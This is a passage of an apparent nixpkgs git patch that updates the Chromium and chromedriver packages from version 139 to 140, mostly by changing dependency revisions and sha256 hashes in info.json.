+        # https://chromium-review.googlesource.com/c/chromium/src/+/6686150
+        url = "https://chromium.googlesource.com/chromium/src/+/8393b61ba876c8e1614275c97767f9b06b889f48^!?format=TEXT";
+        decode = "base64 -d";
+        revert = true;
+        hash = "sha256-qDrqZKj8b3F0pAiPREDmcXYIEOaFoSIQOkT+lzKJglg=";
+      })
     ];
 
     postPatch =

From 6ff95f50e9bc1738c308e2e8e89be2f603fa2424 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 2 Sep 2025 17:31:42 +0200
Subject: [PATCH 4241/4511] chromium,chromedriver: 139.0.7258.154 ->
 140.0.7339.80

https://developer.chrome.com/blog/new-in-chrome-140

https://developer.chrome.com/release-notes/140

https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html
(cherry picked from commit 6fd7bd76f4866bf2467af23a56bc8c894ca28451)
---
 .../networking/browsers/chromium/info.json    | 305 +++++++++---------
 1 file changed, 150 insertions(+), 155 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index d8a7713f64bd..f25a47dab901 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,28 +1,28 @@
 {
   "chromium": {
-    "version": "139.0.7258.154",
+    "version": "140.0.7339.80",
     "chromedriver": {
-      "version": "139.0.7258.155",
-      "hash_darwin": "sha256-9tHj/QSFz9fJTQ+xivOKbssqXsE53BHViy7uCZ4OMhc=",
-      "hash_darwin_aarch64": "sha256-fmflqWTiruKD/VtmNWllCA71tqaB0OIOUiXsmJOTJFI="
+      "version": "140.0.7339.81",
+      "hash_darwin": "sha256-T5VUbwBMWhZLMNp2KYzG6CxApgVXAWphxpG5Uexrz3s=",
+      "hash_darwin_aarch64": "sha256-44c01JbXgl55VpQDy9Ke+p9yj3FJ5MwTdYgDcBI20Ms="
     },
     "deps": {
       "depot_tools": {
-        "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
-        "hash": "sha256-UouvzNFStYScnyfIJcz1Om7cDhC7EyShZQ/Icu73BPo="
+        "rev": "7d1e2bdb9168718566caba63a170a67cdab2356b",
+        "hash": "sha256-ZOzKQpo7Z/h1eeWQj20ghDq7pFZ9nch8lt60aoK/g2k="
       },
       "gn": {
-        "version": "0-unstable-2025-06-19",
-        "rev": "97b68a0bb62b7528bc3491c7949d6804223c2b82",
-        "hash": "sha256-gwptzuirIdPAV9XCaAT09aM/fY7d6xgBU7oSu9C4tmE="
+        "version": "0-unstable-2025-07-29",
+        "rev": "3a4f5cea73eca32e9586e8145f97b04cbd4a1aee",
+        "hash": "sha256-Z7bTto8BHnJzjvmKmcVAZ0/BrXimcAETV6YGKNTorQw="
       },
       "npmHash": "sha256-R2gOpfPOUAmnsnUTIvzDPHuHNzL/b2fwlyyfTrywEcI="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "9e0d6b2b47ffb17007b713429c9a302f9e43847f",
-        "hash": "sha256-L3cq3kx7hOv8bzwkQ+nyDM9VDzsvHaRzrSwrqwyCdHA=",
+        "rev": "670b6f192f4668d2ac2c06bd77ec3e4eeda7d648",
+        "hash": "sha256-tAiE11g/zymsOOjb64ZIA0GCGDV+6X5qlXUiU9vED/c=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -32,28 +32,28 @@
       },
       "src/third_party/compiler-rt/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt.git",
-        "rev": "2a4f69a118bdc5d03c415de1b9b166b2f1d4084f",
-        "hash": "sha256-RHh2WjV65ROxGPboxztrMUbxzVuPfAkLQkoooEOs7k0="
+        "rev": "dc425afb37a69b60c8c02fef815af29e91b61773",
+        "hash": "sha256-TANkUmIqP+MirWFmegENuJEFK+Ve/o0A0azuxTzeAo8="
       },
       "src/third_party/libc++/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git",
-        "rev": "2c359c239b138a20a03f798e47889448ef131c22",
-        "hash": "sha256-WbEMS4wowBw1j7UT/5G5DSmgy5ldmdjxMszYtobr9UI="
+        "rev": "adbb4a5210ae2a8a4e27fa6199221156c02a9b1a",
+        "hash": "sha256-34+xTZqWpm+1aks2b4nPD3WRJTkTxNj6ZjTuMveiQ+M="
       },
       "src/third_party/libc++abi/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git",
-        "rev": "e44c3c4560f1742744ef3f9fb4217a5f26ebca1b",
-        "hash": "sha256-WIJAAHO+n6C5N7nyw8m8xGXr/OXvRGfsScBBdUyjxyg="
+        "rev": "a6c815c69d55ec59d020abde636754d120b402ad",
+        "hash": "sha256-wO64dyP1O3mCBh/iiRkSzaWMkiDkb7B98Avd4SpnY70="
       },
       "src/third_party/libunwind/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git",
-        "rev": "5bbf35ae6801f579c523893176789774c0726e22",
-        "hash": "sha256-hpOxKXZkZEWNptp31B1DZ8V9E7LsRbbYdPdUD7EYA+8="
+        "rev": "84c5262b57147e9934c0a8f2302d989b44ec7093",
+        "hash": "sha256-GmLreEtoyHMXr6mZgZ7NS1ZaS9leB9eMbISeN7qmfqw="
       },
       "src/third_party/llvm-libc/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git",
-        "rev": "79a5aa1b7fcbdf3397bc2a08cbd6ef5c302dfb5a",
-        "hash": "sha256-lddA/+ol5crXlEmRa/JqWvnLTGmyKDUMTlTHC1pFLwc="
+        "rev": "6adc0aa946a413c124758a3a0ac12e5a536c7dd3",
+        "hash": "sha256-C5ZmMzhGdRAd9tpad8hnqM6RoXsunKSuYUoUQdsYclI="
       },
       "src/chrome/test/data/perf/canvas_bench": {
         "url": "https://chromium.googlesource.com/chromium/canvas_bench.git",
@@ -72,8 +72,8 @@
       },
       "src/docs/website": {
         "url": "https://chromium.googlesource.com/website.git",
-        "rev": "a812d22617824ad2cd291e110378ccec5ae7735f",
-        "hash": "sha256-LNLHuhVKulsp0w+rXNqwC9Kh2QdouUvMX3ZNFJKv6t0="
+        "rev": "a89f6810f6a5b0e11e4ec00387e9f97e8f6c23ae",
+        "hash": "sha256-LH4TlXPBULUamqTDitDEXiB37705BzEAqX1Lan87eoM="
       },
       "src/media/cdm/api": {
         "url": "https://chromium.googlesource.com/chromium/cdm.git",
@@ -82,23 +82,18 @@
       },
       "src/net/third_party/quiche/src": {
         "url": "https://quiche.googlesource.com/quiche.git",
-        "rev": "823662119bac4eb4a2771a1d45a8c00b5c6737ce",
-        "hash": "sha256-YyNQ7RLkNzV2fbjKuwTT3BSL70Qntb2TY633sbKFD/I="
+        "rev": "42832178b3b6ae20f0d1c9634c040c528614f45f",
+        "hash": "sha256-ImjvS826eyo82TIDw6M/7h3lrwbCwxQ+oKJr8RaqDTc="
       },
       "src/testing/libfuzzer/fuzzers/wasm_corpus": {
         "url": "https://chromium.googlesource.com/v8/fuzzer_wasm_corpus.git",
         "rev": "1df5e50a45db9518a56ebb42cb020a94a090258b",
         "hash": "sha256-gItDOfNqm1tHlmelz3l2GGdiKi9adu1EpPP6U7+8EQY="
       },
-      "src/third_party/accessibility_test_framework/src": {
-        "url": "https://chromium.googlesource.com/external/github.com/google/Accessibility-Test-Framework-for-Android.git",
-        "rev": "4a764c690353ea136c82f1a696a70bf38d1ef5fe",
-        "hash": "sha256-mzVgoxxBWebesG6okyMxxmO6oH+TITA4o9ucHHMMzkQ="
-      },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "d9fc4a372074b1079c193c422fc4a180e79b6636",
-        "hash": "sha256-owMOjZEXhjXkEwzKdNVUk6Uzqdfp8UQq4JLDSvbvyeA="
+        "rev": "cbc4153da8d5796b0fbb3cf288e97bee19436191",
+        "hash": "sha256-lexJRf3EZexLgSuk8ziA+OUW+jTYlkXUPKHU/E6aUcY="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -112,13 +107,13 @@
       },
       "src/third_party/angle/third_party/VK-GL-CTS/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/VK-GL-CTS",
-        "rev": "4c617fa74b67a177c7bde5f48c73f5a5509121ed",
-        "hash": "sha256-fl3yXkdi1KqrrmHB9k+l/eaINuFHgruUL6MB/9QXvhE="
+        "rev": "ad59a18f2ce08e60c9f4ab0aaf9b62679ab8c626",
+        "hash": "sha256-42ShMIXq9CnOlmwXcUvupPpQSNggdlXEkR3mdthsGzg="
       },
       "src/third_party/anonymous_tokens/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/anonymous-tokens.git",
-        "rev": "d708a2602a5947ee068f784daa1594a673d47c4a",
-        "hash": "sha256-GaRtZmYqajLUpt7ToRfMLBlyMiJB5yT9BaaT9pHH7OM="
+        "rev": "50b2ee441f1c3bad73ab7430c41fd1ea5a7a06a6",
+        "hash": "sha256-NiqQy4CEK8qWb2khi4zTSb3fAf3n9LvBsmceSeyQ+Q0="
       },
       "src/third_party/readability/src": {
         "url": "https://chromium.googlesource.com/external/github.com/mozilla/readability.git",
@@ -132,13 +127,13 @@
       },
       "src/third_party/dav1d/libdav1d": {
         "url": "https://chromium.googlesource.com/external/github.com/videolan/dav1d.git",
-        "rev": "63bf075aada99afa112f84c61ddc9cead8ce04d3",
-        "hash": "sha256-TD4RZSNOmlNFJQReViaNxMEgWhdXGccLazBzmd+MNs8="
+        "rev": "716164239ad6e6b11c5dcdaa3fb540309d499833",
+        "hash": "sha256-2J4M6EkfVtPLUpRWwzXdLkvJio4gskC0ihZnM5H3qYc="
       },
       "src/third_party/dawn": {
         "url": "https://dawn.googlesource.com/dawn.git",
-        "rev": "46b4670bc67cb4f6d34f6ce6a46ba7e1d6059abf",
-        "hash": "sha256-fLyP1ww4gtxOnT7FPWfjYS1+DIex+jfufCz7nZS6L10="
+        "rev": "8550f9c1ff8859d25cc49bdfacef083cff2c5121",
+        "hash": "sha256-gDtFhalOMFWR25XLVbYB/GE1lSQd1ClZ8h175qkC6PU="
       },
       "src/third_party/dawn/third_party/glfw": {
         "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw",
@@ -147,8 +142,8 @@
       },
       "src/third_party/dawn/third_party/dxc": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectXShaderCompiler",
-        "rev": "d1d0a31a7a6a039a35d3b8bc9586b23c57bea2a5",
-        "hash": "sha256-DCQVRuAEYOne4x2OJMr62HLx7kyan3Uj6UwXnxuDNpg="
+        "rev": "50764bac3d4048144e9ada5f5a742c82cc97cc9a",
+        "hash": "sha256-rs5cw/kpRq0Bcr2ov5kKsupwqkIQDvuvUMbZbAdOmGI="
       },
       "src/third_party/dawn/third_party/dxheaders": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectX-Headers",
@@ -167,13 +162,13 @@
       },
       "src/third_party/dawn/third_party/webgpu-cts": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts",
-        "rev": "2a8d4a83f751286302ce34573409ad75cc318508",
-        "hash": "sha256-VUSsDgNHMiSCLDDicscMwskFu/qOzuz04mqYoFtnJF8="
+        "rev": "5b477670f53e5fefcf4bd829a2952013ef9d1953",
+        "hash": "sha256-os0yeQb6snDvUjYghrIYAy9nUi1j8Y2YoTfsiQ7SlpA="
       },
       "src/third_party/dawn/third_party/webgpu-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webgpu-native/webgpu-headers",
-        "rev": "4f617851dfa20bd240436d9255bcb7e4dbbb1e3f",
-        "hash": "sha256-ugbed1toiw7aY/v9E6akjFGARBe0/mhRZI9MSHG/JnI="
+        "rev": "c8b371dd2ff8a2b028fdc0206af5958521181ba8",
+        "hash": "sha256-rHDN4ln5kTMzabW427Xktl93E+8EVhWa2i8n4Mh2BgQ="
       },
       "src/third_party/highway/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/highway.git",
@@ -187,13 +182,13 @@
       },
       "src/third_party/boringssl/src": {
         "url": "https://boringssl.googlesource.com/boringssl.git",
-        "rev": "81be8eb2ca225281bb263ac09ece5370d6462a7d",
-        "hash": "sha256-/GYjjNmbj+bAYy5V15rRkZo54nUx0w0iAujBmTrc1/s="
+        "rev": "0a0009998fa180695f3e2071805dc03c9a5f3124",
+        "hash": "sha256-hYUbfUo00gHqYKac0vOpmBHtb5/FBsgXL+UQtrHxGaM="
       },
       "src/third_party/breakpad/breakpad": {
         "url": "https://chromium.googlesource.com/breakpad/breakpad.git",
-        "rev": "9d1f417714a6883f8d4e345c07802eb79edd2e90",
-        "hash": "sha256-yxeNERobO7TxJWUfppbBTysPMTifC2xzjUrN6Yzud+U="
+        "rev": "ff252ff6faf5e3a52dc4955aab0d84831697dc94",
+        "hash": "sha256-8OfbSe+ly/5FFYk8NubAV39ACMr5S4wbLBVdiQHWeok="
       },
       "src/third_party/cast_core/public/src": {
         "url": "https://chromium.googlesource.com/cast_core/public",
@@ -202,8 +197,8 @@
       },
       "src/third_party/catapult": {
         "url": "https://chromium.googlesource.com/catapult.git",
-        "rev": "c4f7831fe85d210ed50572e54d0cb1a26ccc401a",
-        "hash": "sha256-EKObRlHf5Cu7VyntXR2DC62KaBTciAyvSywyAt5gWy8="
+        "rev": "0fd1415f0cf3219ba097d37336141897fab7c5e9",
+        "hash": "sha256-khxdFV6fxbTazz195MlxktLlihXytpNYCykLrI8nftM="
       },
       "src/third_party/ced/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/compact_enc_det.git",
@@ -227,8 +222,8 @@
       },
       "src/third_party/cpuinfo/src": {
         "url": "https://chromium.googlesource.com/external/github.com/pytorch/cpuinfo.git",
-        "rev": "d7427551d6531037da216d20cd36feb19ed4905f",
-        "hash": "sha256-gJgvE3823NyVOIL0Grkldde3U/N9NNqlLAA0btj3TSg="
+        "rev": "33ed0be77d7767d0e2010e2c3cf972ef36c7c307",
+        "hash": "sha256-0rZzbZkOo6DAt1YnH4rtx0FvmCuYH8M6X3DNJ0gURpU="
       },
       "src/third_party/crc32c/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/crc32c.git",
@@ -237,23 +232,28 @@
       },
       "src/third_party/cros_system_api": {
         "url": "https://chromium.googlesource.com/chromiumos/platform2/system_api.git",
-        "rev": "349c5cb547162b967df40a336fc08bb18819a5e1",
-        "hash": "sha256-nSU/Od8TupR6dOVr6XC9btwUkjbQ6m3Oh3tChYo5i4g="
+        "rev": "07b9fafa3fff468afa2960789d2b28444c38db3e",
+        "hash": "sha256-JpimNp8PmsROMiQLy8H39n8l+KDwaivZiIOgSjLF3U4="
       },
       "src/third_party/crossbench": {
         "url": "https://chromium.googlesource.com/crossbench.git",
-        "rev": "77308ff3c8445656fd104cd80e3bd933b23cb05d",
-        "hash": "sha256-ONQSTRjrleGERU2ioaCKBcpYT1vhad4hYj/x0MIOh1Q="
+        "rev": "69b7e2bb8e1d8d92d4efbb92bcddba3af2716577",
+        "hash": "sha256-1cyXu5fSHWLWt3qdafWQu1WyeZ+fT/be7seiv/MDPdQ="
+      },
+      "src/third_party/crossbench-web-tests": {
+        "url": "https://chromium.googlesource.com/chromium/web-tests.git",
+        "rev": "3c76c8201f0732fe9781742229ab8ac43bf90cbf",
+        "hash": "sha256-yJmi1IpUiKhdoHAXyazkpm+Ezuc4Hp8pOIBntG5hN+U="
       },
       "src/third_party/depot_tools": {
         "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git",
-        "rev": "ea7a0baff0d8554cf6d38f525b4e7882c2b4ec18",
-        "hash": "sha256-UouvzNFStYScnyfIJcz1Om7cDhC7EyShZQ/Icu73BPo="
+        "rev": "7d1e2bdb9168718566caba63a170a67cdab2356b",
+        "hash": "sha256-ZOzKQpo7Z/h1eeWQj20ghDq7pFZ9nch8lt60aoK/g2k="
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "bc417052ebef6175721d690a4910e717d92181be",
-        "hash": "sha256-XoI3HbIV52VWbw15Lsk/gwmy09EtenD7iwXVQse5uVs="
+        "rev": "ab96665ae2cfcc054e0243461cfcb56bb016f71a",
+        "hash": "sha256-8G9OCH5xapLf83bXrKwygCrzwF8C9H2NfnIrDbL+uCc="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -267,8 +267,8 @@
       },
       "src/third_party/eigen3/src": {
         "url": "https://chromium.googlesource.com/external/gitlab.com/libeigen/eigen.git",
-        "rev": "d0b490ee091629068e0c11953419eb089f9e6bb2",
-        "hash": "sha256-EmpuOQxshAFa0d6Ddzz6dy21nxHhSn+6Aiz18/o8VUU="
+        "rev": "81044ec13df7608d0d9d86aff2ef9805fc69bed1",
+        "hash": "sha256-W0uonGzjDaN2RbY2U+Kl1a5/nrEZ9T9W426f+a7NUzY="
       },
       "src/third_party/farmhash/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/farmhash.git",
@@ -282,8 +282,8 @@
       },
       "src/third_party/ffmpeg": {
         "url": "https://chromium.googlesource.com/chromium/third_party/ffmpeg.git",
-        "rev": "dcdd0fa51b65a0b1688ff6b8f0cc81908f09ded2",
-        "hash": "sha256-noc3iZ1yCEgkwWyznx48rXC8JuKxla9QgC/CIjRL/y8="
+        "rev": "d2d06b12c22d27af58114e779270521074ff1f85",
+        "hash": "sha256-c5w8CuyE1J0g79lrNq1stdqc1JaAkMbtscdcywmAEMY="
       },
       "src/third_party/flac": {
         "url": "https://chromium.googlesource.com/chromium/deps/flac.git",
@@ -297,8 +297,8 @@
       },
       "src/third_party/fontconfig/src": {
         "url": "https://chromium.googlesource.com/external/fontconfig.git",
-        "rev": "c527fe1452d469e5fa1a211180dd40bcdb79fb2a",
-        "hash": "sha256-dmzY7TcNpZA9SxHn5nN0IaTzBbwCqd1PV5Sg4RuY7aI="
+        "rev": "86b48ec01ece451d5270d0c5181a43151e45a042",
+        "hash": "sha256-6HLV0U/MA1XprKJ70TKvwUBdkGQPwgqP4Oj5dINsKp0="
       },
       "src/third_party/fp16/src": {
         "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FP16.git",
@@ -312,8 +312,8 @@
       },
       "src/third_party/freetype/src": {
         "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git",
-        "rev": "43940e4cb8fa6fec96cd52669544629c5eef58fa",
-        "hash": "sha256-1fnH0Qm9qtzjwBNlyHVQrVvvFelKIdhFMhA0zDxQVUY="
+        "rev": "27c1cb10a52420515ce66729dfca897be21691b8",
+        "hash": "sha256-2ialoA/hqlTwnbBkBlgz5CT2nzpUVXVMtEOxSxifiXQ="
       },
       "src/third_party/fxdiv/src": {
         "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FXdiv.git",
@@ -357,8 +357,8 @@
       },
       "src/third_party/googletest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git",
-        "rev": "35b75a2cba6ef72b7ce2b6b94b05c54ca07df866",
-        "hash": "sha256-wB33XoxaMQuBls7tNIJ1u61ocKaMw4PyHXBXf/bMNTM="
+        "rev": "373af2e3df71599b87a40ce0e37164523849166b",
+        "hash": "sha256-07pEo2gj3n/IOipqz7UpZkBOywZt7FkfZFCnVyp3xYw="
       },
       "src/third_party/hunspell_dictionaries": {
         "url": "https://chromium.googlesource.com/chromium/deps/hunspell_dictionaries.git",
@@ -367,8 +367,8 @@
       },
       "src/third_party/icu": {
         "url": "https://chromium.googlesource.com/chromium/deps/icu.git",
-        "rev": "b929596baebf0ab4ac7ec07f38365db4c50a559d",
-        "hash": "sha256-/T7uyzwTCDaamLwSvutvbn6BJuoG1RqeR+xhXI5jmJw="
+        "rev": "1b2e3e8a421efae36141a7b932b41e315b089af8",
+        "hash": "sha256-k3z31DhDPoqjcZdUL4vjyUMVpUiNk44+7rCMTDVPH8Q="
       },
       "src/third_party/jsoncpp/source": {
         "url": "https://chromium.googlesource.com/external/github.com/open-source-parsers/jsoncpp.git",
@@ -382,13 +382,13 @@
       },
       "src/third_party/libFuzzer/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt/lib/fuzzer.git",
-        "rev": "e31b99917861f891308269c36a32363b120126bb",
-        "hash": "sha256-Lb+HczYax0T7qvC0/Nwhc5l2szQTUYDouWRMD/Qz7sA="
+        "rev": "bea408a6e01f0f7e6c82a43121fe3af4506c932e",
+        "hash": "sha256-TDi1OvYClJKmEDikanKVTmy8uxUXJ95nuVKo5u+uFPM="
       },
       "src/third_party/fuzztest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git",
-        "rev": "45a1c3ad5ac3de58c8e9a3f89036e3f954820d4c",
-        "hash": "sha256-qNGviVNU5VKCVQ1KkGmjGAaXF+ijL3s/u2yN+Ee5rmo="
+        "rev": "7bab06ff5fbbf8b8cce05a8661369dc2e11cde66",
+        "hash": "sha256-uWPhInzuidI4smFRjRF95aaVNTsehKd/1y4uRzr12mk="
       },
       "src/third_party/domato/src": {
         "url": "https://chromium.googlesource.com/external/github.com/googleprojectzero/domato.git",
@@ -402,18 +402,18 @@
       },
       "src/third_party/libaom/source/libaom": {
         "url": "https://aomedia.googlesource.com/aom.git",
-        "rev": "90c632fc6c01cd8637186c783ca8012bab3c3260",
-        "hash": "sha256-e+rUkNOakv6WQrgx1ozoJTynk/GZy1zdsnYX4oz+6ks="
+        "rev": "e91b7aa26d6d0979bba2bee5e1c27a7a695e0226",
+        "hash": "sha256-cER77Q9cM5rh+oeh1LDyKDZyQK5VbtE/ANNTN2cYzMo="
       },
       "src/third_party/crabbyavif/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git",
-        "rev": "eb883022a5886739f07f0241f918e2be97d65ff0",
-        "hash": "sha256-IxtMAqN3O/s1GrVKzcge9cQ+DVtJtFvHYvsfjmflwVQ="
+        "rev": "644c9d84c123ac811a611760a9adc807e3eb5be5",
+        "hash": "sha256-snogXm3EMmDJoL2ikoaxeODYfmTaVEsAb5cMcRU7uC4="
       },
       "src/third_party/nearby/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/nearby-connections.git",
-        "rev": "fff5c22e3178a633f57e4ad1fb5ad96a6116240a",
-        "hash": "sha256-2mXmDWn292dNA85EUN5sxarOle5HEW5t526SM1UPeKg="
+        "rev": "a8889d12a27ef7006d1a47dfefc272e0815f5c41",
+        "hash": "sha256-pFcusmbij3OsSAmaKhuI8/bo3AlfP7DuTo/W/6mAZs8="
       },
       "src/third_party/securemessage/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/securemessage.git",
@@ -422,8 +422,8 @@
       },
       "src/third_party/jetstream/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
-        "rev": "6947a460f6b55ef5613c36263049ecf74c5ec1cd",
-        "hash": "sha256-lbsSiSRY3IikAKg30/gK3ncPxzOMhOUSQxvUIUCtJB0="
+        "rev": "fe1f348226d4b7c3447e606577960a606cc058e4",
+        "hash": "sha256-kznek87yenGR9Ft3D06LGDOy7+VPRhSUFru340mvES4="
       },
       "src/third_party/jetstream/v2.2": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
@@ -432,8 +432,8 @@
       },
       "src/third_party/speedometer/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
-        "rev": "ba41f91e480cfd79c97a9d1d70a4c3d42d16c72b",
-        "hash": "sha256-DIXGY1wVj2W5A91X3A2eL6Tr+CVdKhHaGHtSqBRjtPQ="
+        "rev": "87f9ed88c8f8abe3a3bb19b9ec5ea49623d803ad",
+        "hash": "sha256-eIrkM7UxuaZox3A8pqEgvgpQCkcBO3zJWFwK45fgWm0="
       },
       "src/third_party/speedometer/v3.1": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
@@ -462,8 +462,8 @@
       },
       "src/third_party/cros-components/src": {
         "url": "https://chromium.googlesource.com/external/google3/cros_components.git",
-        "rev": "97dc8c7a1df880206cc54d9913a7e9d73677072a",
-        "hash": "sha256-CT9c4LqTwhldsxoEny8MesULwQC4k95F4tfCtRZErGM="
+        "rev": "7ccdbf60606671c2c057628125908fbfef9bd0c8",
+        "hash": "sha256-g7LzBd2V21AaLdSdCw65WGYvKfrbtpRXsYc+3ILdiKs="
       },
       "src/third_party/libdrm/src": {
         "url": "https://chromium.googlesource.com/chromiumos/third_party/libdrm.git",
@@ -517,23 +517,23 @@
       },
       "src/third_party/libvpx/source/libvpx": {
         "url": "https://chromium.googlesource.com/webm/libvpx.git",
-        "rev": "686bf6f1cde888898498f89ba9aefa66b683566a",
-        "hash": "sha256-rdeALLoqK1bth/EQY86fZC++QgMFCYyn7qMxsh9CMj0="
+        "rev": "a985e5e847a2fe69bef3e547cf25088132194e39",
+        "hash": "sha256-BbXiBbnGwdsbZCZIpurfTzYvDUCysdt+ocRh6xvuUI8="
       },
       "src/third_party/libwebm/source": {
         "url": "https://chromium.googlesource.com/webm/libwebm.git",
-        "rev": "c4522d6cd68582d66f1adfd24debfa9bee202afa",
-        "hash": "sha256-tfji0yPV7v/DETViEp2T7AO6P5xCjPYScTlV3eWFV0w="
+        "rev": "f2a982d748b80586ae53b89a2e6ebbc305848b8c",
+        "hash": "sha256-SxDGt7nPVkSxwRF/lMmcch1h+C2Dyh6GZUXoZjnXWb4="
       },
       "src/third_party/libwebp/src": {
         "url": "https://chromium.googlesource.com/webm/libwebp.git",
-        "rev": "2af6c034ac871c967e04c8c9f8bf2dbc2e271b18",
-        "hash": "sha256-0sKGhXr6Rrpq0eoitAdLQ4l4fgNOzMWIEICrPyzwNz4="
+        "rev": "4fa21912338357f89e4fd51cf2368325b59e9bd9",
+        "hash": "sha256-eaGWMpF6ENrKxGxqXccQ0P1G0X+nQI0EoL0Y0R2VVZ0="
       },
       "src/third_party/libyuv": {
         "url": "https://chromium.googlesource.com/libyuv/libyuv.git",
-        "rev": "88798bcd636a93e92d69242da914deb4cec1dfb6",
-        "hash": "sha256-HPhxj3iK1YjWcfKT4o5CXhmvMBoGaA4JKco2HDf0Nec="
+        "rev": "cdd3bae84818e78466fec1ce954eead8f403d10c",
+        "hash": "sha256-ievGlutmOuuEEhWS82vMqxwqXCq8PF3508N0MCMPQus="
       },
       "src/third_party/lss": {
         "url": "https://chromium.googlesource.com/linux-syscall-support.git",
@@ -567,8 +567,8 @@
       },
       "src/third_party/openscreen/src": {
         "url": "https://chromium.googlesource.com/openscreen",
-        "rev": "dd421dc540e75bd4e52388dcb0656d4d96137a73",
-        "hash": "sha256-Bk9pD6fKdHBgnJOgqv8frA7+4WFBh837h9fXFgEebK8="
+        "rev": "f51be2dd676c855bc588a439f002bc941b87db6b",
+        "hash": "sha256-7AmfZjugPKty0lpinOR/Q22M7F34p57tl+gs6s2BJhY="
       },
       "src/third_party/openscreen/src/buildtools": {
         "url": "https://chromium.googlesource.com/chromium/src/buildtools",
@@ -582,13 +582,13 @@
       },
       "src/third_party/pdfium": {
         "url": "https://pdfium.googlesource.com/pdfium.git",
-        "rev": "bbdc38bc2d1693f56154f78eb5d4ff296d8ca3da",
-        "hash": "sha256-LYo73KuSVBEcRN1PqG0EBFeKaLy66UPtZ3DMHP5YVXM="
+        "rev": "1afaa1a380fcd06cec420f3e5b6ec1d2ccb920dc",
+        "hash": "sha256-kx2jF4kHeGECdf6WzcRKTmwhvmoKl+rIVQ2Ep8Y9rs8="
       },
       "src/third_party/perfetto": {
         "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git",
-        "rev": "18d4fdc15d027a989db705592585b924f93f1d42",
-        "hash": "sha256-ZmP/EFuFo9/xax8f+NEdGthfdAR/8+cTWoM9XPrkpcQ="
+        "rev": "4ab725613a8ee64e9acd7930eceb8995e24df562",
+        "hash": "sha256-V16Fm389yRNn0b13n70828c8xTdwxoQ6GW8iKLyy0qE="
       },
       "src/third_party/protobuf-javascript/src": {
         "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript",
@@ -597,8 +597,8 @@
       },
       "src/third_party/pthreadpool/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/pthreadpool.git",
-        "rev": "dcc9f28589066af0dbd4555579281230abbf74dd",
-        "hash": "sha256-qogacGPNy6SKQaK8CZvGC8YZbVjhDTXuhDqGopB0Eps="
+        "rev": "149f0a86f5ad215e9f0441684385ce09f345dbe4",
+        "hash": "sha256-3/FnJ2FL6fQSlymqJS/UoXTB4ZiW9d7xpvK3Ur8Ynp4="
       },
       "src/third_party/pyelftools": {
         "url": "https://chromium.googlesource.com/chromiumos/third_party/pyelftools.git",
@@ -617,23 +617,23 @@
       },
       "src/third_party/re2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/re2.git",
-        "rev": "c84a140c93352cdabbfb547c531be34515b12228",
-        "hash": "sha256-f/k2rloV2Nwb0KuJGUX4SijFxAx69EXcsXOG4vo+Kis="
+        "rev": "8451125897dd7816a5c118925e8e42309d598ecc",
+        "hash": "sha256-vjh4HI4JKCMAf5SZeqstb0M01w8ssaTwwrLAUsrFkkQ="
       },
       "src/third_party/ruy/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/ruy.git",
-        "rev": "83fd40d730feb0804fafbc2d8814bcc19a17b2e5",
-        "hash": "sha256-O3JEtXchCdIHdGvjD6kGMJzj7TWVczQCW2YUHK3cABA="
+        "rev": "9940fbf1e0c0863907e77e0600b99bb3e2bc2b9f",
